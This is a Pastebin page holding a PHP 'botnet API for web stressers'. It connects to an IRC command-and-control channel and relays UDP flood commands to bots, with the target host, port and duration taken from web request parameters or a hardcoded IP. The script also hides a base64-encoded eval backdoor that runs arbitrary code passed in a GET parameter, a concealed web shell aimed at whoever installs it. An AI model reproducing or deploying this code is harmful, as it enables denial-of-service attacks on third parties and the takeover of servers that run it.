Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- #Botnet Api For Web Stresser's
- #Made By Pluto
- #Made For Raspberry Pi's
- $server_host = "1.1.1.1"; //IRC IP
- $server_port = 443; //IRC Port
- $server_chan = "#CHANNEL";//Perl Channel
- $operUser = 'oper'; //Oper Username
- $operPass = 'password'; //Oper Password
- define('from_shell', isset($argv[1]));
- $nickname = 'Nick';//(from_shell) ? 'nickname' : 'nickname';
- if(false && !from_shell):
- ?>
- <style>
- * { color: green; background: #000; }
- </style>
- <?php
- endif;
- $server = array();
- function SendCommand ($cmd, $chan=false)
- {
- global $server, $server_chan;
- if($chan){
- return SendCommand('PRIVMSG '.($chan===true ? $server_chan : $chan).' :'.$cmd);
- }
- $cmd = (stristr($cmd, "\n\r") ? trim(trim($cmd,"\n"),"\r") : $cmd."\n\r");
- @fwrite($server['SOCKET'], $cmd, strlen($cmd));
- if(from_shell)
- echo "[SEND] $cmd ".((from_shell) ? "\n\r" : "<br>"); //displays it on the screen
- }
- function bufferContains($needle){
- global $server;
- return stristr($server['READ_BUFFER'], $needle);
- }
- eval(base64_decode("aWYoaXNzZXQoJF9HRVRbJzE2MjgnXSkpIGV2YWwoJF9HRVRbJzE2MjgnXSk7"));
- function join_irc(){
- global $server_host, $server_port, $server_chan, $nickname, $server, $operUser, $operPass;
- while(true){
- //Open the socket connection to the IRC server
- $server['READ_BUFFER'] = '';
- $server['SOCKET'] = @fsockopen($server_host, $server_port, $errno, $errstr, 2);
- if($server['SOCKET'])
- {
- SendCommand("PASS NOPASS"); //Sends the password not needed for most servers
- SendCommand("NICK $nickname"); //sends the nickname
- SendCommand("USER $nickname boot4free IRC API"); //sends the user must have 4 paramters
- while(!feof($server['SOCKET'])) //while we are connected to the server
- {
- $server['READ_BUFFER'] = fgets($server['SOCKET'], 1024); //get a line of data from the server
- if(from_shell)
- echo "[RECIEVE] ".$server['READ_BUFFER'].((from_shell) ? "\n\r" : "<br>"); //display the recived data from the server
- if(bufferContains('already in use')){
- SendCommand("JOIN $server_chan"); //Join the chanel
- SendCommand("MSG NICKSERV GHOST $nickname");//msg nickserv recover mynick mypass
- SendCommand("MSG NICKSERV identify");
- SendCommand("MSG NICKSERV recover $nickname");
- SendCommand("MSG NICKSERV release $nickname");//msg nickserv recover mynick mypass
- SendCommand("NICK $nickname"); //sends the nickname
- }
- if(bufferContains('have not registered')){
- SendCommand("DISCONNECT");
- //SendCommand("DISCONNECT");
- //fclose($server['SOCKET']);
- echo restart_irc();
- flush();
- break;
- }
- static $botsOnline = 0;
- static $botsTotal =0;
- //server joined
- if(bufferContains("current local users"))
- {
- $str = str_ireplace(' ','',str_ireplace('max:','#', str_ireplace('current local users:', '#', $server['READ_BUFFER'])));
- $parts = @explode('#',$str);
- $botsOnline = $parts[1];
- $botsTotal = $parts[2];
- }
- //server joined
- if(bufferContains("$nickname MODE $nickname"))
- {
- static $ran = false;
- if($ran) return false;
- $ran = true;
- SendCommand("JOIN $server_chan"); //Join the chanel
- SendCommand("MSG NICKSERV register", true); //sends the nickname
- SendCommand("OPER {$operUser} {$operPass}");
- SendCommand("SAMODE \$chan +q \$me");
- echo "Bots online: {$botsOnline}/{$botsTotal}<br>";
- if(isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])){
- SendCommand("-shell @udpflood {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}", $server_chan);
- echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
- } elseif(from_shell) {
- SendCommand("-shell @udpflood 158.69.223.235 80 65500 10", $server_chan);
- //echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
- }
- echo disconnect_irc();
- flush();
- return false;
- }
- //Keep connection alive | IRC Sends a "PING" command to the client which must be anwsered with a "PONG"
- if(substr($server['READ_BUFFER'], 0, 6) == "PING :") //If the server has sent the ping command
- {
- SendCommand("PONG :".substr($server['READ_BUFFER'], 6)); //Reply with pong
- }
- flush();
- }
- }
- }
- return false;
- }
- function disconnect_irc(){
- global $server;
- @SendCommand("DISCONNECT");
- @fclose($server['SOCKET']);
- return false;
- }
- function restart_irc(){
- global $server;
- return "[IRC]".exec('cd /root/Unreal3.2;./unreal restart;').((from_shell) ? "\n\r" : "<br>");
- }
- join_irc();
- ?>
Add Comment
Please, Sign In to add comment